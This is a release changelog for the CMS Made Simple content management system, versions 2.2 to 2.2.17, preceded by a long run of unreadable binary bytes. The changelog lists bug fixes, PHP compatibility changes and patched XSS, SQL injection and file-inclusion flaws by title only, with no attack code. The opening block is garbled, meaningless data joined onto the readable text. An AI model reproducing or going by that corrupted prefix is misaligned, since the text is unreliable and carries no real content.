fe"CYXDlU$4Te/j'u{~̘&cZe,%j=g4AE˹	A1=m Z.	U0H6s,eJm?Cxf`RD'[-x.يLG_|5(	Ն|IM8*QE6qÛ%͟Pe[dcäsyI,DI@wVM.:Ss ^Š cTI_zmYk%g@fb3I!?[ֳpB;Ԟh18~{p});@%P'2GV#bjOuzaUr,D.`F|M72*t-R3XjАYrћ`i!~$)RZWZ-)aJ*=w#Pa|9:WMZBS`!ձ
,
Dm68Qcyp+F9t5ALGbtke𠢒[Lt8@[gv`iYcXb̡yq0hemqv#;ޭ{`uRhr	ׅfFF4jͣ[sHA$3yMC=Pve10D3#Zm7(и{vCa'h
.׳pK1hZ)@V;ks`z !!*)@7PUl?Uu,Wtw{XύTi8YNM5ɏbGi7!שL%m3u=  P{X=Y5\ᥒ pF2A<Zӷ4w8"ӽ,G1xF=Ξ88eeZtF9eXHacVMf6N!!B^"C!ѱn e4*Dw=u^c'V[,/x'B7V[ؾ60Cg|$pp$C)qEv.̳3&|J'hHF`+*AR^|ЀǪVHn|E1V2jppJG/d 5ƨ)v_&[#eTɂXɊRJ39]1f{|>5<jb$#:4phNo|0	#J<Vu	V!Əf绱@KA _c;JR_K8\\еj'}Ü+Ct*7V'sɐ9%O(_2NrD'	QM<{'΂":QүlE5_*%7ND=(_GxIwj9bM:zCqfe7V%CfǣL5/:d<^<.UpN566W䩫s[ql	BQKAYC
^^bj+DpZ$IA@
uyo#vޘ~5-;<C&ߌH35R0?l^G5E:Ud#Bcm#R6L"NYJ±m[N`WdW6͋΋6`MMq>N5( iɣ1X^e}=*M	`@9D؎IC_,lKbF|`~BKt5%@7`~0:
8ǒsP
2+UآR~!0<([ Q%C[~!=aozlh} Uh& ͠kp,?-F.4KJCX9̕QTTGAwFRǄ ߻Sݪ.^DF}ņgw^joJRJbp.[2fկ=Ť	MI ?ԎJتsTǾ%Lyt l![ɡ0C|-D_x|A_0;1){X
:2`e}^~C!٣p$Q(}<inU>y96U@q,Y&E:^=@5-e>b1W2@m Z/Լ<32wa16@=7XUi^<%Y>ÙPe')NPD]CnW߀p,NP|TT>_ڮQtZ7QWvhqM{xb)0Q?]T<lS%3Rɷqmde`}<l,?h?YZlc\!J8ԒTl>|
˷IeVQI:@0T>69~N}`"Xsa'ZU0J
5(\)늀( 9En񙈻Djtv߭d͑6AS\mtECjn)W,EƻslDLf^ 삖dQ}p.]Ȼb[Ql@- ND>`ot>_Uc`" /Ʀ rЀjQiz=G 𘉕`[dr8yRk\<|k   '  CMS Made Simple Version 2.2.16
------------------------------
NOTE: Although all efforts have been made to make this release compatible with PHP8, you may experience issues in some server environments, so testing is highly recommended before switching PHP versions on a production site.
NOTE: Most likely not all 3rd Party modules are compatible either so, if you find issues with theses modules, please file BR with the respective module developers.
NOTE: We have dropped support to PHP 5.6 in this release. The minimum PHP version now supported is 7.0 although we strongly recommend 7.4+ for security and performance.Version 2.2.17 - Iqaluit
-------------------------------
Core - General
 - BR #12529 - Cacheable Pages have Bad Header Last-Modified;
 - BR #12543 - Lib file corrections;
 - BR #12618 - HasChildren() is broken;
 - BR #12587 - can't uninstall modules;
 - Compatibility fixes for PHP 7, 8.0 and 8.1;
 - Smarty upgraded to version 4.2.1;
    Note: Smarty 2 syntax is still supported, but deprecated
 - Add function CMSMS\strftime to replace deprecated PHP function. PHP Intl extension recommended to support this.
 - Enabled use of PHP functions trim,ltrim,rtrim in smarty templates
 - PHPMailer upgraded to version 6.6.0.
 - fixes BR #12529 Cacheable Pages have Bad Header Last-Modified;
 - added module's support for arrays in parameters;
 - Fixes to cms_mailer class mainly in terms of proxy design pattern getters and setters and autotls settings;
 - Smarty security policies changes: due to some modifications in the way updated Smarty now behaves, all static classes need to be registered for its use to be allowed in templates.

Content Manager 1.1.10
 - Differentiate new page from cloned page.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Design Manager 1.1.10
 - BR #12545 - Module: DesignManager typo info on top file.
 - fixes typo BR #12545
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FilePicker 1.0.6
 - BR #12539 - Module FilePicker 1.0.5 files corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

Module Manager 2.1.9
 - BR #12541 - Module ModuleManager 2.1.8 : corrections + compatible php 7.1.0 to 8.1.4.

News 2.51.12
 - BR #12543 - Lib file corrections.
 - Compatibility fixes for PHP 7, 8.0 and 8.1.

FileManager 1.6.13
- Compatibility fixes for PHP 7, 8.0 and 8.1.


Version 2.2.16 - Truro
-------------------------------
Core - General
  - BR #12370 - Admin Log-Download : now downloading the log honors all filters but doesn't process paging.
  - BR #12437 - Installer won't allow "<" symbol in database password.
  - BR #12457 - Event Manager empty list when mysql mode only_full_group_by.
  - BR #12484 - Cannot exit after Run UDT.
  - BR #12495 - MySQL 8.0.2+ breaks groups without table prefix.
  - BR #12499 - adminlog.tpl Wrongly formed date.
  - BR #12500 - NameQuote function does not work properly.
  - BR #12504 - Function call notification.
  - Fixed an issue with specific characters in a content block tab name breaking the editor.
  - Adjust regex's incompatible with PCRE2.
  - Avoid deprecated strftime() - deploy new replacement function locale_ftime() and new modifier-plugin localedate_format.
  - A number of fixes for PHP 8 compatibility.

Admin Search v1.0.6
  - BR #12443 - Admin Search fails on some searches with default mysql mode only_full_group_by (mysql 5.7.5+).
  - Removed license and copyright notices from module help text.
  - Escaping the search input field values.
  - More content object attributes are searched.
  - User Defined Tags can be searched.
  - Only places a user has permission to search are shown in the filter list (cached!).

Content Manager v1.1.9
  - Fix menu text/title setting.

FileManager v1.6.12
  - BR #12435 - Replacing an image file in filepicker doesn't update thumbnail.

FilePicker v1.0.5
  - FR #12483 - Additional FilePicker Help for usage as Content Block.

Navigator v1.0.9
  - BR #12456 - Navigator breadcrumbs with default page hidden from menu causes PHP notice.

Search v1.53
  - Added 'Manage Search' permission.
  - BR #12391 - Core search issue page/entry titles that start with numbers.
  
Phar Installer v1.3.15
  - Fixed BR #12437 - Installer won't allow "<" symbol in database password.
  - Added Russian lang file to installer.
  - use locale_ftime() instead of deprecated strftime().
  - escape name of groups table, to prevent reserved-word conflict when table-prefix is empty.
  - alterations to the links in final step: we now privilege links to CMSMS channels of contact and support.


Version 2.2.15 - Bonaventure
-------------------------------
Core - General
  - BR #12287 - Admin shortcuts popup refers to IRC.
  - BR #12292 - showbase parameter of metadata tag doesn't accept boolean value.
  - BR #12303 - No date displayed in the admin + category id not incremented.
  - BR #12305 - Removing actual Destination Page breaks Destination Page dropdown in Internal Page Link pages.
  - BR #12311 - log_performance_info - undefined variable: queries.
  - BR #12313 - 5 Stored XSS vulnerabilities in Settings - Content Manager.
  - BR #12317 - XSS on Settings News Module.
  - BR #12325 - Several XSS vulnerabilities.
  - BR #12335 - User pref admin homepage not properly displayed under certain conditions.
  - BR #12337 - GetContentBlockFieldInput $adding always false.
  - BR #12338 - Allow http/2 responses.
  - BR #12357 - Filepicker dropzone size issue.
  - FR #12345 - More user friendly admin session handling (partly implemented).
  - FR #12349 - Swap tabs on System Maintenance page.
  - Browsing to the main admin page in a new browser tab during a running session won't redirect to login form anymore.
  - (Error) messages in OneEleven won't dismiss on click.
  - Fix to Admin redirection after login on Windows platform.
  - Fix to the module API redirection to support arrays in parameters.

FileManager v1.6.12
  - Dropzone improvement like core FilePicker.

FilePicker v1.0.5
  - BR #11673 - FilePicker will not show svg images, when in the Content Manager.
  - BR #12312 - Stored XSS vulnerability in File Picker.

News v2.51.11
  - Minor code fix to encoding title content.
  - BR #12322 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12325 - Several XSS vulnerabilities.

Design Manager v1.1.9
  - Minor fixes for PHP warnings\notices.

Module Manager v2.1.8
  - BR #12291 - Reflected Cross site scripting.
  - BR #12324 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - Increased the Download Chunk Size field size to 4.

MicroTiny v2.2.5
  - BR #12351 - Escaping translation strings in tinymce_config.js.

Search v1.52
  - FR #11886 - Include module and modulerecord fields for content pages.

Phar Installer v1.3.13
  - Fixes to the reload button: now prevents browser's caching.
  - BR #11591 - fixed: Phar installer doesn't work with OPCache enabled.


Version 2.2.14 - T'Sou-ke
-------------------------------
Core - General
  - BR #12280 - Add Shortcut from Shortcuts modal broken.
  - Fixes to the class.CmsAdminThemeBase.php regarding main sections title and breadcrumbs generation.
  - Explicitly add function_exists and getimagesize functions to the allowed functions in PHP secure mode.
  - Improved Error Console template.
  - Site Prefs, remove submit confirmation.
  - System Maintenance, remove confirmation update page hierarchy positions and routes.
  - cms_http_request PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - Backend users, fixed the bulk actions.
  - BR #12172 - CronJobTrait undefined constants.
  - BR #12227 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.
  - BR #12272 - Internal page link - selecting destination page problem.

AdminSearch v1.0.5
  - Remove click thru warning.

CMSContentManager v1.1.9
  - Fix notices in edit content template.
  - Fix notice in default admin view.

DesignManager v1.1.8
  - BR #12225 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

FileManager v1.6.11
  - Don’t disable advanced mode on upgrade.
  - Fix adding double // in site root link.
  - BR #12215 - FileManager 1.6.10 crashes when trying to rename a file.
  - BR #12224 - Reflected Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

News v2.51.9
  - Minor code fix.
  - Alert on unapproved articles disabled by default. Enable at Settings >> Options tab.
  - BR #12207 - Can't display image in news when using upload field.
  - BR #12228 - Stored Cross-Site Scripting. Minor, because it can only be performed by a person that has access rights to the Admin panel.

Phar Installer v1.3.9
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".
  - PHP 7.4 fix "Function get_magic_quotes_runtime() is deprecated".

Search v1.51.8
  - PHP 7.4 fix "Array and string offset access syntax with curly braces is deprecated".


Version 2.2.13 - Moosomin
-------------------------------
Core - General
   - Explicitly add a function or two to the allowed functions in PHP secure mode.

DesignManager v1.1.7
   - Fix a warning in PHP 7.3+.

FileManager v1.6.10
   - Fix minor XSS vulnerabilities in FileManager.

News v2.51.8
   - Fix a security issue in the default action with the idlist param.
   (This version was also separately released in the forge).


Version 2.2.12 - Osoyoos
-------------------------------
NOTICE: Due to the nature of the security issue fixed in FileManager after upgrading you should change your database password.

Core - General
  - Fix warning in cms_html_entity_decode.

FileManager v1.6.9.1
  - Security fixes for view action.


Version 2.2.11 - Vulcan
-------------------------------
Core - General
  - Fix minor bug in copying content objects.
  - Minor fix to array indexes when filling params in ContentBase.
  - Fix to the {cms_filepicker} plugin.
  - Minor fix to the 'my account' form.
  - Fix error in cmsms_filepicker.js encountered in LISE.
  - PHP 7.3 fix to DataDictionary::RenameColumnSQL.

CMSContentManager v1.1.8
  - Fix an issue with copying non-core content objects.
  - Minor fixes for php 7.3.

ModuleManager v2.1.7
  - Minor exception handling improvements.
  - Minor improvement to dependency detection with modules that do not exist in ModuleRepository.
  - Minor fixes for php 7.3.

News v2.51.6
  - Minor improvements for CMSMS v2.3 compatibility.

Phar Installer v1.3.8
  - Minor change to use include() instead of include_once()... not sure why.

FilePicker v1.0.4.1
  - Fix type error.

Search v1.51.7
  - Minor fixes for php 7.3.


Version 2.2.10 - Spuzzum
-------------------------------
Core - General
  - Fix minor potential authenticated object insertion vulnerability in changegroupperm.
  - Fix minor potential uncleaned input vulnerability in siteprefs.
  - Minor improvement to get_real_ip().
  - Fix to clearing cache in cms_filecache_driver.

News v2.51.5
  - Fix unauthenticated SQL injection vulnerability with the default action.

ModuleManager v2.1.6
  - Fix authenticated object insertion vulnerability in the installmodule action.
  - Improve ordering of the dependencies before installing or upgrading modules.
  - Adds more auditing, particularly in the cached request stuff.

FilePicker v1.0.4
  - Fix authenticated object insertion vulnerability.


Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class.
  - fix an edge case in the Database\Connection::DbTimeStamp() method.

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1.


Version 2.2.9 - Blow Me Down
-------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts.
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp().

Search v1.51.6
  - Minor fixes to help.

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.

Phar Installer v1.3.7
  - Minof fix to detect when PHP's memory limit is set to -1.


Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
